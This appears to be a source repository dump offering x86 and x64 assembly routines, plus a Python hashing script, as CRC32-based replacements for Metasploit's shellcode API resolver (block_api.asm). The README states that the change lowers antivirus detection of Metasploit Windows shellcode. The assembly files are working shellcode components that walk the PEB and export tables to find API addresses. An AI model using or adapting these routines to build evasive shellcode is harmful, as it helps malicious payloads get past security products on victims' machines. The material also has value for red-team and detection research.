├── LICENSE ├── README.md ├── crc32_api_x64.asm ├── crc32_api_x86.asm └── crc32_hash.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Ege Balcı 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CRC32_API 2 | 3 | New and better alternative for [x86 block_api.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm) and [x64 block_api.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x64/src/block/block_api.asm) files. By changing the Windows API name hashing method it is possible to trim 1 byte for every x86 Windows shellcode and 4 bytes from all x64 Windows shellcode. Because most of the security products are searching for well known ROR13 hashes of Windows API function names, changing the Windows API name hashing method will decrease the detection rate of Metasploit Windows shellcodes, also new method in this proposal have much less collision rate compared to ROR13. 4 | 5 | ## Prior Work & References 6 | Following DEFCON25 talk mentions AV products detecting the Metasploit shellcodes by searching for well known ROR13 hashes of Windows API function names. 7 | 8 | * https://www.youtube.com/watch?v=jk1VAuPH4-w 9 | * https://github.com/secretsquirrel/fido/blob/master/Defcon_25_2017.pdf 10 | 11 | ## New Hashing Method 12 | I have taken advantage of [CRC32](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf#page=327&zoom=100,61,88) instruction for calculating the CRC32 (polynomial 13 | 11EDC6F41H) value of the Windows `[MODULE_NAME+NULL+FUNCTION_NAME]` (same as old block_api.asm). By simply changing the ROR13 hashes with CRC32 values crc32_api.asm will find the desired function address with exact same way that old `block_api.asm` uses. No additional registers are changed. I have tested both of the crc32_api.asm for all existing Windows shellcode inside Metasploit and it works without any error. [crc32_hash.py](https://github.com/EgeBalci/CRC32_API/crc32_hash.py) file can be used to calculate a CRC32 value of given input same as [hash.py](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py). 14 | 15 | ![image](https://user-images.githubusercontent.com/17179401/85612965-0e3ab480-b662-11ea-8ac5-94148127e932.png) 16 | 17 | ## BUT ! Here's the catch. 18 | `CRC32` instruction is a fairly new instruction. It is added with [SSE4](https://en.wikipedia.org/wiki/SSE4), so it may cause problems in older CPUs. Any model manufactured after 2006 seems to be working fine, but I don't know what happens when you run an unsupported instruction on an old CPU, simply couldn't find old enough hardware for testing ¯\_(ツ)_/¯ 19 | -------------------------------------------------------------------------------- /crc32_api_x64.asm: -------------------------------------------------------------------------------- 1 | ;-----------------------------------------------------------------------------; 2 | ; Author: Ege Balcı (egebalci[at]pm[dot]me) 3 | ; Version: 1.1 (29 April 2023) 4 | ; Architecture: x64 5 | ; Size: 192 bytes 6 | ;-----------------------------------------------------------------------------; 7 | 8 | [BITS 64] 9 | 10 | ; Windows x64 calling convention: 11 | ; http://msdn.microsoft.com/en-us/library/9b372w95.aspx 12 | 13 | ; Input: The CRC32 hash of the module and function name. 14 | ; Output: The address of the function will be in RAX. 15 | ; Clobbers: R10 16 | ; Un-Clobbered: RCX, RDX, R8, R9, RBX, RSI, RDI, RBP, R12, R13, R14, R15. 17 | ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. 18 | 19 | %define CRC32_SEED 0x00 20 | 21 | api_call: 22 | push r9 ; Save R9 23 | push r8 ; Save R8 24 | push rdx ; Save RDX 25 | push rcx ; Save RCX 26 | push rsi ; Save RSI 27 | xor rdx, rdx ; Zero rdx 28 | mov rdx, [gs:rdx+96] ; Get a pointer to the PEB 29 | mov rdx, [rdx+24] ; Get PEB->Ldr 30 | mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list 31 | next_mod: ; 32 | mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) 33 | movzx rcx, word [rdx+74] ; Set rcx to the length we want to check 34 | xor r9, r9 ; Clear r9 which will store the hash of the module name 35 | mov r9, CRC32_SEED ; Set the initial CRC32 seed value 36 | loop_modname: ; 37 | xor rax, rax ; Clear RAX 38 | lodsb ; Read in the next byte of the name 39 | cmp al, 'a' ; Some versions of Windows use lower case module names 40 | jl not_lowercase ; 41 | sub al, 0x20 ; If so normalise to uppercase 42 | not_lowercase: ; 43 | crc32 r9d,al ; Calculate CRC32 of module name 44 | loop loop_modname ; Loop untill we have read enough 45 | ; We now have the module hash computed 46 | push rdx ; Save the current position in the module list for later 47 | push r9 ; Save the current module hash for later 48 | ; Proceed to itterate the export address table, 49 | mov rdx, [rdx+32] ; Get this modules base address 50 | mov eax, dword [rdx+60] ; Get PE header 51 | add rax, rdx ; Add the modules base address 52 | cmp word [rax+24], 0x020B ; is this module actually a PE64 executable? 53 | ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and 54 | ; their may be a PE32 module present in the PEB's module list, (typicaly the main module). 55 | ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48]) 56 | jne get_next_mod1 ; if not, proceed to the next module 57 | mov eax, dword [rax+136] ; Get export tables RVA 58 | test rax, rax ; Test if no export address table is present 59 | jz get_next_mod1 ; If no EAT present, process the next module 60 | add rax, rdx ; Add the modules base address 61 | push rax ; Save the current modules EAT 62 | mov ecx, dword [rax+24] ; Get the number of function names 63 | mov r8d, dword [rax+32] ; Get the rva of the function names 64 | add r8, rdx ; Add the modules base address 65 | ; Computing the module hash + function hash 66 | get_next_func: ; 67 | jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module 68 | mov r9, [rsp+8] ; Reset the current module hash 69 | dec rcx ; Decrement the function name counter 70 | mov esi, dword [r8+rcx*4]; Get rva of next module name 71 | add rsi, rdx ; Add the modules base address 72 | ; And compare it to the one we want 73 | loop_funcname: ; 74 | xor rax, rax ; Clear RAX 75 | lodsb ; Read in the next byte of the ASCII function name 76 | crc32 r9d,al ; Calculate CRC32 of function name 77 | cmp al, ah ; Compare AL (the next byte from the name) to AH (null) 78 | jne loop_funcname ; If we have not reached the null terminator, continue 79 | cmp r9d, r10d ; Compare the hash to the one we are searchnig for 80 | jnz get_next_func ; Go compute the next function hash if we have not found it 81 | ; If found, fix up stack, call the function and then value else compute the next one... 82 | pop rax ; Restore the current modules EAT 83 | mov r8d, dword [rax+36] ; Get the ordinal table rva 84 | add r8, rdx ; Add the modules base address 85 | mov cx, [r8+2*rcx] ; Get the desired functions ordinal 86 | mov r8d, dword [rax+28] ; Get the function addresses table rva 87 | add r8, rdx ; Add the modules base address 88 | mov eax, dword [r8+4*rcx]; Get the desired functions RVA 89 | add rax, rdx ; Add the modules base address to get the functions actual VA 90 | ; We now fix up the stack and perform the call to the drsired function... 91 | finish: 92 | pop r8 ; Clear off the current modules hash 93 | pop r8 ; Clear off the current position in the module list 94 | pop rsi ; Restore RSI 95 | pop rcx ; Restore RCX 96 | pop rdx ; Restore RDX 97 | pop r8 ; Restore R8 98 | pop r9 ; Restore R9 99 | ret ; Return to caller with the function address inside RAX 100 | ; We now automagically return to the correct caller... 101 | get_next_mod: ; 102 | pop rax ; Pop off the current (now the previous) modules EAT 103 | get_next_mod1: ; 104 | pop r9 ; Pop off the current (now the previous) modules hash 105 | pop rdx ; Restore our position in the module list 106 | mov rdx, [rdx] ; Get the next module 107 | jmp next_mod ; Process this module 108 | -------------------------------------------------------------------------------- /crc32_api_x86.asm: -------------------------------------------------------------------------------- 1 | ;-----------------------------------------------------------------------------; 2 | ; Author: Ege Balcı (egebalci[at]pm[dot]me) 3 | ; Version: 1.1 (29 April 2023) 4 | ; Architecture: x86 5 | ; Size: 129 bytes 6 | ;-----------------------------------------------------------------------------; 7 | 8 | [BITS 32] 9 | 10 | ; Input: The CRC32 hash of the module and function name. 11 | ; Output: The address of the function will be in EAX. 12 | ; Clobbers: EAX (caller needs to clear the hash on the stack) 13 | ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered. 14 | ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction. 15 | 16 | %define CRC32_SEED 0x00 17 | 18 | api_call: 19 | pushad ; We preserve all the registers for the caller, bar EAX and ECX. 20 | mov ebp, esp ; Create a new stack frame 21 | xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) 22 | mov edx, [fs:eax+48] ; Get a pointer to the PEB 23 | mov edx, [edx+12] ; Get PEB->Ldr 24 | mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list 25 | next_mod: ; 26 | mov esi, [edx+40] ; Get pointer to modules name (unicode string) 27 | movzx ecx, word [edx+38] ; Set ECX to the length we want to check 28 | xor edi, edi ; Clear EDI which will store the hash of the module name 29 | mov edi, CRC32_SEED ; Set the initial CRC32 seed value 30 | loop_modname: ; 31 | lodsb ; Read in the next byte of the name 32 | cmp al, 'a' ; Some versions of Windows use lower case module names 33 | jl not_lowercase ; 34 | sub al, 0x20 ; If so normalise to uppercase 35 | not_lowercase: ; 36 | crc32 edi,al ; Calculate CRC32 value 37 | loop loop_modname ; Loop until we have read enough 38 | 39 | ; We now have the module hash computed 40 | push edx ; Save the current position in the module list for later 41 | push edi ; Save the current module hash for later 42 | ; Proceed to iterate the export address table, 43 | mov edx, [edx+16] ; Get this modules base address 44 | mov ecx, [edx+60] ; Get PE header 45 | 46 | ; use ecx as our EAT pointer here so we can take advantage of jecxz. 47 | mov ecx, [ecx+edx+120] ; Get the EAT from the PE header 48 | jecxz get_next_mod1 ; If no EAT present, process the next module 49 | add ecx, edx ; Add the modules base address 50 | push ecx ; Save the current modules EAT 51 | mov ebx, [ecx+32] ; Get the rva of the function names 52 | add ebx, edx ; Add the modules base address 53 | mov ecx, [ecx+24] ; Get the number of function names 54 | ; now ecx returns to its regularly scheduled counter duties 55 | 56 | ; Computing the module hash + function hash 57 | get_next_func: ; 58 | jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module 59 | mov edi, [ebp-8] ; Reset the current module hash 60 | dec ecx ; Decrement the function name counter 61 | mov esi, [ebx+ecx*4] ; Get rva of next module name 62 | add esi, edx ; Add the modules base address 63 | ; And compare it to the one we want 64 | loop_funcname: ; 65 | lodsb ; Read in the next byte of the ASCII function name 66 | crc32 edi,al ; Calculate CRC32 67 | cmp al, ah ; Compare AL (the next byte from the name) to AH (null) 68 | jne loop_funcname ; If we have not reached the null terminator, continue 69 | cmp edi, [ebp+36] ; Compare the hash to the one we are searching for 70 | jnz get_next_func ; Go compute the next function hash if we have not found it 71 | 72 | ; If found, fix up stack, call the function and then value else compute the next one... 73 | pop eax ; Restore the current modules EAT 74 | mov ebx, [eax+36] ; Get the ordinal table rva 75 | add ebx, edx ; Add the modules base address 76 | mov cx, [ebx+2*ecx] ; Get the desired functions ordinal 77 | mov ebx, [eax+28] ; Get the function addresses table rva 78 | add ebx, edx ; Add the modules base address 79 | mov eax, [ebx+4*ecx] ; Get the desired functions RVA 80 | add eax, edx ; Add the modules base address to get the functions actual VA 81 | ; We now fix up the stack and perform the call to the desired function... 82 | finish: 83 | mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad 84 | pop ebx ; Clear off the current modules hash 85 | pop ebx ; Clear off the current position in the module list 86 | popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered 87 | ret ; Return to the caller with function address inside EAX 88 | ; We now automagically return to the correct caller... 89 | 90 | get_next_mod: ; 91 | pop edi ; Pop off the current (now the previous) modules EAT 92 | get_next_mod1: ; 93 | pop edi ; Pop off the current (now the previous) modules hash 94 | pop edx ; Restore our position in the module list 95 | mov edx, [edx] ; Get the next module 96 | jmp short next_mod ; Process this module 97 | -------------------------------------------------------------------------------- /crc32_hash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | # -*- coding: utf-8 -*- 3 | #=============================================================================# 4 | # Example: Simply print the correct hash value for the function kernel32.dll!WinExec 5 | # >hash.py kernel32.dll WinExec 6 | # 7 | # Author: Ege Balcı (ege.balci[at]pm[dot]me) 8 | #=============================================================================# 9 | from sys import path 10 | import os, time, sys, crcmod 11 | 12 | CRC32_SEED=0 13 | 14 | def unicode( string, uppercase=True ): 15 | result = ""; 16 | if uppercase: 17 | string = string.upper()+"\x00" 18 | for c in string: 19 | result += c + "\x00" 20 | return result 21 | #=============================================================================# 22 | def hash( module, function, bits=13, print_hash=True ): 23 | crc32_func = crcmod.mkCrcFun(0x11EDC6F41, initCrc=CRC32_SEED, xorOut=0) 24 | h = crc32_func((unicode(module)+function+"\x00").encode('utf-8')) 25 | print("[+] 0x%08X = %s!%s" % ( h, module.lower(), function )) 26 | return h 27 | 28 | #=============================================================================# 29 | def main( argv=None ): 30 | if not argv: 31 | argv = sys.argv 32 | 33 | if len( argv ) == 1: 34 | print("Usage: crc32_hash.py [ ]") 35 | else: 36 | hash( argv[1], argv[2] ) 37 | 38 | #=============================================================================# 39 | if __name__ == "__main__": 40 | main() 41 | #=============================================================================# 42 | --------------------------------------------------------------------------------